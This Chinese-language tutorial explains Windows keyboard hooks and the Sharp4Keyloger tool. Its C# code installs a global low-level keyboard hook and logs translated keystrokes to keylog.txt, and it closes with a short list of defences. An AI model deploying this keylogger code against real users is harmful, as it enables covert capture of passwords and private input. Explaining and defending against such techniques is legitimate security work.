Sharp4Keyloger:一款通过 API 函数实现 Windows 键盘日志记录的工具
字数 1137 2025-08-29 08:30:24
Windows键盘钩子技术详解与Sharp4Keyloger实现
1. 钩子(Hook)技术概述
钩子(Hook)是Windows操作系统内置的监控和拦截机制,用于拦截和处理操作系统或应用程序中的特定事件或消息。钩子技术可以:
- 监视和修改系统行为
- 获取或改变事件流
- 无需直接修改目标程序源代码
1.1 钩子工作原理
钩子的工作流程分为四个阶段:
- 安装钩子:通过
SetWindowsHookEx函数安装 - 处理事件:事件发生时调用回调函数
- 事件传递:通过
CallNextHookEx决定是否传递事件 - 卸载钩子:通过
UnhookWindowsHookEx释放资源
1.2 钩子类型
Windows系统中主要的钩子类型包括:
- 键盘钩子:拦截键盘输入事件
- 鼠标钩子:拦截鼠标操作事件
- 消息钩子:拦截窗口消息
- 系统钩子:拦截系统级别事件(如系统通知、窗口切换等)
2. 关键API函数
2.1 SetWindowsHookEx
用于安装钩子,创建钩子链:
HHOOK SetWindowsHookEx(
int idHook, // 钩子类型(如WH_KEYBOARD_LL)
HOOKPROC lpfn, // 回调函数指针
HINSTANCE hMod, // 包含回调函数的DLL句柄
DWORD dwThreadId // 关联的线程ID(0表示所有线程)
);
2.2 CallNextHookEx
用于将事件传递给钩子链中的下一个处理程序:
LRESULT CallNextHookEx(
HHOOK hhk, // 当前钩子句柄
int nCode, // 钩子代码
WPARAM wParam, // 消息参数
LPARAM lParam // 消息参数
);
2.3 UnhookWindowsHookEx
用于卸载已安装的钩子:
BOOL UnhookWindowsHookEx(
HHOOK hhk // 要卸载的钩子句柄
);
3. 键盘钩子实现
3.1 基本结构
实现键盘钩子的基本代码结构:
// 定义钩子回调委托
private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
// 钩子句柄
private static IntPtr _hookID = IntPtr.Zero;
// 钩子回调实例
private static readonly LowLevelKeyboardProc _proc = HookCallback;
3.2 设置钩子
private static IntPtr SetHook(LowLevelKeyboardProc proc)
{
using (Process curProcess = Process.GetCurrentProcess())
using (ProcessModule curModule = curProcess.MainModule)
{
return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
GetModuleHandle(curModule.ModuleName), 0);
}
}
3.3 钩子回调函数
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
{
int vkCode = Marshal.ReadInt32(lParam);
// 排除Caps Lock(20)和Backspace(8)
if (vkCode != 20 && vkCode != 8)
{
WriteFile(vkCode);
}
}
return CallNextHookEx(_hookID, nCode, wParam, lParam);
}
4. 按键处理逻辑
4.1 特殊按键处理
private static void WriteFile(int vkCode)
{
string toWrite = "";
// 处理特殊按键
switch (vkCode)
{
case 160: // Shift键不记录
return;
case 13: // 回车键
toWrite = Environment.NewLine;
break;
case 190: // 句号键
toWrite = ".";
break;
// 其他特殊按键处理...
}
// 记录到文件
if (!string.IsNullOrEmpty(toWrite))
{
File.AppendAllText("keylog.txt", toWrite);
}
}
4.2 数字键处理
// 数字键处理(考虑Shift状态)
if (vkCode >= 48 && vkCode <= 57) // 0-9
{
bool shiftPressed = (GetKeyState(160) & 0x8000) != 0;
toWrite = shiftPressed ?
")!@#$%^&*("[vkCode - 48].ToString() :
(vkCode - 48).ToString();
}
4.3 字母键处理
// 字母键处理(考虑Shift和CapsLock状态)
if (vkCode >= 65 && vkCode <= 90) // A-Z
{
bool shiftPressed = (GetKeyState(160) & 0x8000) != 0;
bool capsLockOn = (GetKeyState(20) & 0x0001) != 0;
bool upperCase = shiftPressed ^ capsLockOn;
toWrite = upperCase ?
((char)vkCode).ToString() :
((char)(vkCode + 32)).ToString();
}
5. 完整实现流程
-
初始化钩子:
- 定义回调委托
- 获取当前进程模块句柄
- 调用
SetWindowsHookEx安装钩子
-
事件处理:
- 在回调函数中过滤有效按键事件
- 排除不需要记录的按键(如Shift、CapsLock等)
- 处理特殊按键和组合键
-
记录数据:
- 将处理后的按键信息写入文件
- 使用
File.AppendAllText追加记录
-
清理资源:
- 程序退出时调用
UnhookWindowsHookEx卸载钩子 - 释放相关资源
- 程序退出时调用
6. 防御措施
了解键盘钩子技术的同时,也应了解如何防御此类攻击:
- 使用安全软件:安装反病毒/反间谍软件
- 监控钩子安装:使用工具监控
SetWindowsHookEx调用 - 输入保护:在输入敏感信息时使用虚拟键盘
- 权限控制:限制非管理员用户安装全局钩子
- 行为监控:监控可疑的文件写入行为
7. 总结
Windows键盘钩子技术提供了强大的系统事件拦截能力,可以用于:
- 合法的应用程序增强(如快捷键管理)
- 辅助功能开发(如屏幕阅读器)
- 安全监控(如家长控制)
- 渗透测试中的信息收集
Sharp4Keyloger展示了如何利用这些API实现键盘记录功能,但在实际应用中必须遵守法律法规,仅在授权范围内使用此类技术。